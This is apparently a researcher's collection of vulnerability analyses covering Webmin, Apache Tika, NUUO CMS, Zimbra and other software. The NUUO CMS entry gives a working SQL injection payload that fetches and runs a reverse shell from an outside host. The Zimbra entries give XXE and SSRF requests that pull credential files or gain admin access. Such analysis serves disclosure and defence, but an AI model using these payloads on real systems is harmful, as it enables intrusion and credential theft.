jrobles-r7 (40)
Last Login: August 20, 2019
jrobles-r7's Latest (19) Contributions
Technical Analysis
I tested Webmin v1.900 and the password change page was not available by default, however it is a reasonable option to have.
A valid username is not needed for the exploit, although the command injection did not work for me when I used the valid username root
.
Technical Analysis
The exploit depends on having a valid APP_KEY for the application. If the target Laravel Framework is vulnerable to CVE-2017-16894, then it would be possible to obtain the APP_KEY as an unauthenticated user. Also, if the environment has APP_DEBUG enabled, then it may be possible to retrieve the APP_KEY from error messages generated by Laravel Framework.
From Google searches, there appears to be several hosts that leak their APP_KEY.
Technical Analysis
Potentially useful in drive-by attack scenarios but the attack does depends on a few conditions. If the user has disabled their video when joining a meeting then the webcam won’t be on even if a link is clicked/followed. If the video is enabled when joining a Zoom meeting then the information disclosure would depend on what is in view of the webcam, which could potentially be nothing. A Zoom window appears when Zoom is launched so the time for capturing potentially sensitive information is limited as well (assuming someone will close a meeting that they didn’t intend to join). Also, the user would have to be running the Zoom client on macOS.
Technical Analysis
David Yesland write up showed how to get command execution on Windows, however using a similar request structure on Linux did not work. The execution on the application was compared between Windows and Linux to identify why command injection was not working on the Linux system.
A breakpoint was set on the doOCR
function that was mentioned in the analysis by David Yesland but that breakpoint was not hit while Apache Tika was running on Linux. After oberserving the call stack at doOCR
on Windows, additional breakpoint were set in the IntelliJ debugger on Linux to identify where the execution between Windows and Linux differed.
While determining which parsers can handle a client request, the Apache Tika application calls the getSupportedTypes
method from the various parsers. The following getSupportedTypes
method is from the TesseractOCRParser
class.
public Set<MediaType> getSupportedTypes(ParseContext context) { TesseractOCRConfig config = (TesseractOCRConfig)context.get(TesseractOCRConfig.class, DEFAULT_CONFIG); return this.hasTesseract(config) ? SUPPORTED_TYPES : Collections.emptySet(); }
The config
variable is set with data that includes information from the client request. Then the hasTesseract
method is called to identify whether a tesseract executable is available.
public boolean hasTesseract(TesseractOCRConfig config) { String tesseract = config.getTesseractPath() + getTesseractProg(); if (TESSERACT_PRESENT.containsKey(tesseract)) { return (Boolean)TESSERACT_PRESENT.get(tesseract); } else { String[] checkCmd = new String[]{tesseract}; boolean hasTesseract = ExternalParser.check(checkCmd, new int[0]); TESSERACT_PRESENT.put(tesseract, hasTesseract); return hasTesseract; } }
The tesseract
variable is set by concatinating config.getTesseractPath()
, which returns a string specified in the X-Tika-OCRTesseractPath
request header, and getTesseractProg()
, which returns the string tesseract
on Linux hosts. The application then checks if the value of the tesseract
variable has been checked before and returns true
or false
based on the past results. If the tesseract
string has not been checked previously then ExternalParser.check
is called.
public static boolean check(String[] checkCmd, int... errorValue) { if (errorValue.length == 0) { errorValue = new int[]{127}; } try { Process process = Runtime.getRuntime().exec(checkCmd); Thread stdErrSuckerThread = ignoreStream(process.getErrorStream(), false); Thread stdOutSuckerThread = ignoreStream(process.getInputStream(), false); stdErrSuckerThread.join(); stdOutSuckerThread.join(); int result = process.waitFor(); int[] var6 = errorValue; int var7 = errorValue.length; for(int var8 = 0; var8 < var7; ++var8) { int err = var6[var8]; if (result == err) { return false; } } return true; } catch (IOException var10) { return false; } catch (InterruptedException var11) { return false; } catch (SecurityException var12) { return false; } catch (Error var13) { if (var13.getMessage() == null || !var13.getMessage().contains("posix_spawn") && !var13.getMessage().contains("UNIXProcess")) { throw var13; } else { return false; } } }
Runtime.getRuntime().exec
executes with checkCmd
, which is the concatenated string from the hasTesseract
method. If the Runtime exec call succeeds, and the error check is passed, then true
is returned. During testing of Apache Tika on a Linux host the Runtime.getRuntime().exec
call was throwing an error. Different escaping of the user-controlled request header value was not successful on Linux. strace
was used to determine the operating system call used by Runtime exec to execute checkCmd
.
strace -f -p <java-pid> ... [pid 4940] close(35) = 0 [pid 4940] getdents(4, /* 0 entries */, 32768) = 0 [pid 4940] close(4) = 0 [pid 4940] fcntl(3, F_SETFD, FD_CLOEXEC) = 0 [pid 4940] execve("/usr/local/sbin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory) [pid 4940] execve("/usr/local/bin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory) [pid 4940] execve("/usr/sbin/blahhhhtesseract", ["blahhhhtesseract"], 0x7ffd1272ed40 /* 46 vars */) = -1 ENOENT (No such file or directory) ...
Partial client Request used to generate the strace output (request body is excluded):
PUT /meta HTTP/1.1 Host: 172.22.222.112:9998 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) X-Tika-OCRTesseractPath: blahhhh X-Tika-OCRLanguage: //E:Jscript Expect: 100-continue Content-type: image/jp2 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 8086
From the strace
output it is clear that the concatenated string ends up in the filename
(first) parameter of the execve
calls. Since the execve
call does not use a full shell interpreter, the various injection attempts failed, which causes the Runtime.getRuntime().exec
method to throw an error and return false
. The false
return value indicates that the TesseractOCRParser
class is unable to handle the client request. Therefore the doOCR
method that is used when exploiting the Apache Tika application on Windows to execute commands is not reached on the Linux host. If an attacker is able to upload an executable that ends with the string tesseract
then the Runtime.getRuntime().exec
check could return true
and allow further processing of the request.
Technical Analysis
From the write-up by Grzegorz Wypych the vulnerability seems easy to exploit since the header is passed to an execve system call.
Technical Analysis
The handling of objects in memory allowed for a double-free of a memory region, which could be used to escalate privileges on a local system. See MSRC link for vulnerable versions and patch information.
The https://github.com/ze0r/cve-2018-8453-exp PoC for x86 systems successfully worked for me on Win10 x86 systems. The x64 version did not work for me though.
Technical Analysis
Deserialization flaw. I tested a module that was able to get SYSTEM access by exploiting the flaw.
Technical Analysis
From the theevilbit write-up I can’t tell if arguments can be provided to the programs that are launched in the VMs. If arguments can be provided to the launched programs then this would be worse.
Technical Analysis
Details
Details from module documentation in Metasploit.
The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below:
GETOPENALARM NUCM/1.0 DeviceID: <number> SourceServer: <server-id> LastOne: <number>
The vulnerability is in the “SourceServer” parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request:
GETOPENALARM NUCM/1.0 DeviceID: 1 SourceServer: ';drop table bobby;-- LastOne: 3
Will cause the following SQL query to be executed on the server:
SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer=“;drop table bobby;— ‘ AND State<20
order by DateTime DESC
Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution.
As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it:
';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);--
The encoded part of the exploit is the following:
xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe'
Technical Analysis
Details
Details from module documentation in Metasploit.
The COMMITCONFIG verb is used by a CMS client to upload and modify the configuration of the CMS Server. An example is below:
COMMITCONFIG NUCM/1.0 User-Session-No: <session-number> Filename: <filename> FileType: <number> Content-Lenght: <file-length> <FILE_DATA>
The vulnerability is in the “FileName” parameter, which accepts directory traversal (..\..\) characters. Therefore, this function can be abused to overwrite any files in the installation drive of CMS Server.
This vulnerability is exploitable in CMS versions up to and including v2.4.
This module will either use a provided session number (which can be guessed with an auxiliary module) or attempt to login using a provided username and password – it will also try the default credentials if nothing is provided.
Technical Analysis
Details
The /admin/managetracing/search/search endpoint in MailCleaner Community Edition allows an authenticated user to inject operating system commands.
Technical Analysis
Details
Details from module documentation in Metasploit.
The GETCONFIG verb is used by a CMS client to obtain configuration files and other resources from the CMS server. An example request is below:
GETCONFIG NUCM/1.0 FileName: <filename> FileType: <number> User-Session-No: <session-number>
The FileType determines the directory where the file will be downloaded from. “FileType: 0” will download from the base installation directory (CMS_DIR), while “FileType: 1” will download from “<CMS_DIR>
\Images\Map\”. There are other defined FileType integers, but these have not been investigated in detail.
The vulnerability is in the “FileName” parameter, which accepts directory traversal (..\..\) characters. Therefore, this function can be abused to obtain any files off the file system, including:
- CMServer.cfg, a file zipped with the password “NUCMS2007!” that contains the usernames and passwords of all the system users (enabling a less privileged user to obtain the administrator’s password)
- ServerConfig.cfg, another file zipped with the password “NUCMS2007!” that contains the SQL Server “sa” password as well the FTP server username and password
- Any other sensitive files in the drive where CMS Server is installed.
This module works in the following way:
- if a SESSION number is present, uses that to login
- if not, tries to authenticate with USERNAME and PASSWORD
Due to the lack of ZIP encryption support in Metasploit, the module prints a warning indicating that the archive cannot be unzipped in Msf.
Technical Analysis
Details
Description/Details copy/pasta from Metasploit module documentation.
A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and ColdFusion 2018 (July 12 release) allows unauthenticated remote attackers to upload and execute JSP files through the filemanager plugin.
Technical Analysis
Details
Webmin 1.900 allows authenticated users with “Upload and Download” module access to upload cgi files to a webroot subdirectory and the uploaded files can be executed by sending requests to the web server.
Technical Analysis
Details
According to the blog post A Saga of Code Executions on Zimbra by An Trinh the XXE vulnerability occurs during the handling of Autodiscover requests. The commit diff for the changes that fixed the XXE issue can be found in Zimbra’s github page for the zm-mailbox repository. In the AutoDiscoverServlet.java
file the changes show modifications to wrap DocumentBuilderFactory
in a function that disables multiple features for the instantiated factory.
By viewing the AutoDiscoverServlet.java
file before the changes and tracking how DocumentBuilderFactory
is used we can find the XXE vulnerability. One instance of DocumentBuilderFactory
is in the doPost
function. Lines 168-201 shows the beginning of the doPost
function.
168 public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 169 ZimbraLog.clearContext(); 170 addRemoteIpToLoggingContext(req); 171 172 log.info("Handling autodiscover request..."); 173 174 byte[] reqBytes = null; 175 reqBytes = ByteUtil.getContent(req.getInputStream(), req.getContentLength()); 176 if (reqBytes == null) { 177 log.warn("No content found in the request"); 178 sendError(resp, 600, "No content found in the request"); 179 return; 180 } 181 String content = new String(reqBytes, "UTF-8"); <snip> 196 197 try { 198 DocumentBuilderFactory docBuilderFactory = DocumentBuilderFactory.newInstance(); 199 DocumentBuilder docBuilder = docBuilderFactory.newDocumentBuilder(); 200 Document doc = docBuilder.parse(new InputSource(new StringReader(content))); 201 NodeList nList = doc.getElementsByTagName("Request");
On line 200 the request body contents are parse by the application. Since the request contents are parse on line 200 before any other checks (other than an empty contents check) we should be able to get XXE at this location of the code. The following request will trigger the XXE:
POST /service/autodiscover HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Content-Length: 102 <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY % test SYSTEM "http://172.22.222.136:8000/test"> %test;]>
The following is the response from the server:
HTTP/1.1 400 Body cannot be parsed Date: Tue, 02 Apr 2019 13:14:39 GMT Content-Type: text/html;charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 276 <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 400 Body cannot be parsed</title> </head> <body><h2>HTTP ERROR 400</h2> <p>Problem accessing /service/autodiscover. Reason: <pre> Body cannot be parsed</pre></p> </body> </html>
Although the response does not contain any useful information, we can see that the server reached out to request the file specified in the test
entity:
$ python -m SimpleHTTPServer 8000 Serving HTTP on 0.0.0.0 port 8000 ... 172.22.222.111 - - [02/Apr/2019 08:13:26] code 404, message File not found 172.22.222.111 - - [02/Apr/2019 08:13:26] "GET /test HTTP/1.1" 404 -
Since we can get the application to reach out for a file we can include an external DTD file to include additional entities. However, An Trinh’s blog post mentions that the vulnerability allows direct file extraction through the response. Our response does not contain anything useful so far. In lines 203-234 we can see xml data being checked for EmailAddress
and AcceptableResponseSchema
. There are also some error checks based on the data in those fields.
203 for (int i = 0; i < nList.getLength(); i++) { 204 Node node = nList.item(i); 205 if (node.getNodeType() == Node.ELEMENT_NODE) { 206 Element element = (Element) node; 207 email = getTagValue("EMailAddress", element); 208 responseSchema = getTagValue("AcceptableResponseSchema", element); 209 210 if (email != null) 211 break; 212 } 213 } 214 } catch (Exception e) { 215 log.warn("cannot parse body: %s", content); 216 sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "Body cannot be parsed"); 217 return; 218 } 219 220 //Return an error if there's no email address specified! 221 if (email == null || email.length() == 0) { 222 log.warn("No Email address is specified in the Request, %s", content); 223 sendError(resp, HttpServletResponse.SC_BAD_REQUEST, "No Email address is specified in the Request"); 224 return; 225 } 226 227 //Return an error if the response schema doesn't match ours! 228 if (responseSchema != null && responseSchema.length() > 0) { 229 230 if (!(responseSchema.equals(NS_MOBILE) || responseSchema.equals(NS_OUTLOOK))) { 231 log.warn("Requested response schema not available " + responseSchema); 232 sendError(resp, HttpServletResponse.SC_SERVICE_UNAVAILABLE, 233 "Requested response schema not available " + responseSchema); 234 return;
Checks for the data in EMailAddress
and AcceptableResponseSchema
are performed on lines 221, 228, and 230. If a response schema is specified but it is not one of the predefined values then lines 232-233 are executed, which includes the provided response schema in the error messages. The following request can be used to verify the described behavior:
POST /service/autodiscover HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Content-Length: 117 <Request> <EMailAddress>email</EMailAddress> <AcceptableResponseSchema>mytest</AcceptableResponseSchema> </Request>
As shown in the following response mytest
is reflected back:
HTTP/1.1 503 Requested response schema not available mytest Date: Tue, 02 Apr 2019 13:34:59 GMT Content-Type: text/html;charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 326 <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 503 Requested response schema not available mytest</title> </head> <body><h2>HTTP ERROR 503</h2> <p>Problem accessing /service/autodiscover. Reason: <pre> Requested response schema not available mytest</pre></p> </body> </html>
To retrieve a file from the system we can define an entity and include it as the AcceptableResponseSchema
as shown in the following request:
POST /service/autodiscover HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Content-Length: 198 <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY test SYSTEM "file:///etc/passwd">]> <Request> <EMailAddress>email</EMailAddress> <AcceptableResponseSchema>&test;</AcceptableResponseSchema> </Request>
The response will contain the data in /etc/passwd
:
<snip> <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 503 Requested response schema not available root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync <snip>
The blog post mentioned retrieving the localconfig.xml
file to get credentials. To read the localconfig.xml
file an external DTD file was used. The following request was used:
POST /service/autodiscover HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Content-Length: 229 <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY % remote SYSTEM "http://172.22.222.136:8000/test"> %remote; ]> <Request> <EMailAddress>email</EMailAddress> <AcceptableResponseSchema>&myfile;</AcceptableResponseSchema> </Request>
The myfile
entity is defined in the external DTD. The full contents of the external DTD is the following:
<!ENTITY % test SYSTEM "file:///opt/zimbra/conf/localconfig.xml"> <!ENTITY % eval "<!ENTITY myfile '<![CDATA[%test;]]>'>"> %eval;
The following is a partial server response:
”`
<snip>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>
Error 503 Requested response schema not available <localconfig>
<key name="ssl_
Technical Analysis
Details
According to the blog post A Saga of Code Executions on Zimbra by An Trinh the SSRF vulnerability occurs during the handling of ProxyServlet requests. The diff to fix the server side request forgery issues can be found in Zimbra’s github page for the zm-mailbox repository. The diff for ProxyServlet.java
moves a few checks outside of a conditional so that the checks are always performed.
The doProxy
function contains the vulnerable code. As described in the blog post user input is used to determine whether the request will be treated as an admin request. Line 188 in doProxy
calls isAdminRequest
:
186 private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException { 187 ZimbraLog.clearContext(); 188 boolean isAdmin = isAdminRequest(req); 189 AuthToken authToken = isAdmin ? 190 getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true); 191 if (authToken == null) { 192 String zAuthToken = req.getParameter(QP_ZAUTHTOKEN); 193 if (zAuthToken != null) {
The following is the isAdminRequest
:
180 protected boolean isAdminRequest(HttpServletRequest req) { 181 return req.getServerPort() == LC.zimbra_admin_service_port.intValue(); 182 }
The getServerPort
function returns the port number specified in the Host header and LC.zimbra_admin_service_port
is 7071. If a request is sent with port 7071 in the Host header then the isAdmin
variable will be set to true in doProxy
. After isAdmin
is set, an authentication token is read from the request. Since we want the request to be treated as an admin request we are interested in the getAdminAuthTokenFromCookie
function. The function ends up checking for a valid cookie with the ZM_ADMIN_AUTH_TOKEN
key. Note: A valid token is required but the key for the token should be changed to ZM_ADMIN_AUTH_TOKEN
when exploiting the SSRF vulnerability.
Lines 222-234 check for a proxy target and whether the request is allowed based on permissions:
222 // sanity check 223 String target = req.getParameter(TARGET_PARAM); 224 if (target == null) { 225 resp.sendError(HttpServletResponse.SC_BAD_REQUEST); 226 return; 227 } 228 229 // check for permission 230 URL url = new URL(target); 231 if (!isAdmin && !checkPermissionOnTarget(url, authToken)) { 232 resp.sendError(HttpServletResponse.SC_FORBIDDEN); 233 return; 234 }
On line 231 we can see that if the user is an admin then the request is allowed but if the user is not an admin then a permissions check will be performed. To test the described issue, we can construct requests. The following request uses a valid user (non-admin) cookie and contains a proxy request to the admin port:
POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Cookie: ZM_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b; Content-Length: 0
The response from the previous request returns a forbidden message:
HTTP/1.1 403 Forbidden Date: Wed, 03 Apr 2019 11:54:45 GMT Content-Type: text/html;charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 245 <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 403 Forbidden</title> </head> <body><h2>HTTP ERROR 403</h2> <p>Problem accessing /service/proxy. Reason: <pre> Forbidden</pre></p> </body> </html>
Next we modify the previous request, changing 8443 to 7071 and ZM_AUTH_TOKEN to ZM_ADMIN_AUTH_TOKEN, and resend it:
POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1 Host: zimbra.mylocaldomain.local:7071 Cookie: ZM_ADMIN_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b; Content-Length: 0
The response to the modified request does not contain a forbidden message this time and is instead a redirect the zimbraAdmin page:
HTTP/1.1 302 Found Date: Wed, 03 Apr 2019 11:57:52 GMT Content-Type: text/html;charset=utf-8 Date: Wed, 03 Apr 2019 11:57:52 GMT X-Frame-Options: SAMEORIGIN Expires: Tue, 24 Jan 2000 20:46:50 GMT Location: https://127.0.0.1:7071/zimbraAdmin Content-Length: 0
Technical Analysis
Details
Details from module documentation in Metasploit.
The NUUO CMS protocol uses session tokens in a similar way to HTTP cookies. As mentioned in the summary, if a USERLOGIN request is sent with a correct username and password, a “User-Session-No” token will be returned. The number returned is composed of 8 digits, so if an attacker wanted to guess it, they would have 10 million possibilities, and would be able to bruteforce it on average after 5 million tries.
The function responsible for creating a new user is at offset 0x454E80 in CMS_Server.exe version 2.1. It sets up a new user object and returns the session token to the calling function. This function has what is probably a coding error – the number returned is actually not a number, but the heap address of the user object created by invoking “new()” in the user object class. An assembly snippet is shown below:
.text:00454E80 000 push 0FFFFFFFFh .text:00454E82 004 push offset loc_5E2013 .text:00454E87 008 mov eax, large fs:0 .text:00454E8D 008 push eax .text:00454E8E 00C sub esp, 8 .text:00454E91 014 push ebp .text:00454E92 018 push esi .text:00454E93 01C push edi .text:00454E94 020 mov eax, dword_68D134 .text:00454E99 020 xor eax, esp .text:00454E9B 020 push eax .text:00454E9C 024 lea eax, [esp+24h+var_C] .text:00454EA0 024 mov large fs:0, eax .text:00454EA6 024 mov ebp, ecx .text:00454EA8 024 lea edi, [ebp+43Ch] .text:00454EAE 024 push edi ; lpCriticalSection_EnterCriticalSection .text:00454EAF 028 mov [esp+28h+var_10], edi .text:00454EB3 028 call ds:EnterCriticalSection .text:00454EB9 024 push 1B8h ; unsigned int .text:00454EBE 028 mov [esp+28h+var_4], 0 .text:00454EC6 028 call ??2@YAPAXI@Z ; new() operator, returns object in eax (...)
After the call to ??2@YAPAXI@Z in .text:00454EC6, the session number is returned to the calling function (sub_457100), which then stores it and sends it back to the client as the valid session number:
NUCM/1.0 200 OK User-Valid: %d Server-Version: %s Ini-Version: %d License-Number: %d User-Session-No: %u <---- session number, which is a hexadecimal memory address converted to decimal
These session numbers (tokens) are not that easy to predict, however after collecting thousands of samples I was able to build a table of the most common occurrences, which reduces the possibilities from 10 million to about 1.2 million. In practice, the tokens can usually be guessed between in less than 500,000 attempts – an improvement of 95% over standard bruteforcing. It is likely this can be further improved with some deeper analysis, but due to time constraints this was not investigated further. The tables used to do the bruteforcing are in Appendix #C.
This attack is perfectly feasible despite the high number of attempts needed. Firstly, there is no bruteforce protection on the CMS server, so we can just flood it with requests and find the session number in less than an hour.
Secondly, due to the nature of this application, it is normal to have the software clients logged in for a long amount of time (days, weeks) in order to monitor the video cameras controlled by CMS.
It is worth noticing that when a user logs in, the session has to be maintained by periodically sending a PING request. To bruteforce the session, we send each guess with a PING request until a 200 OK message is received.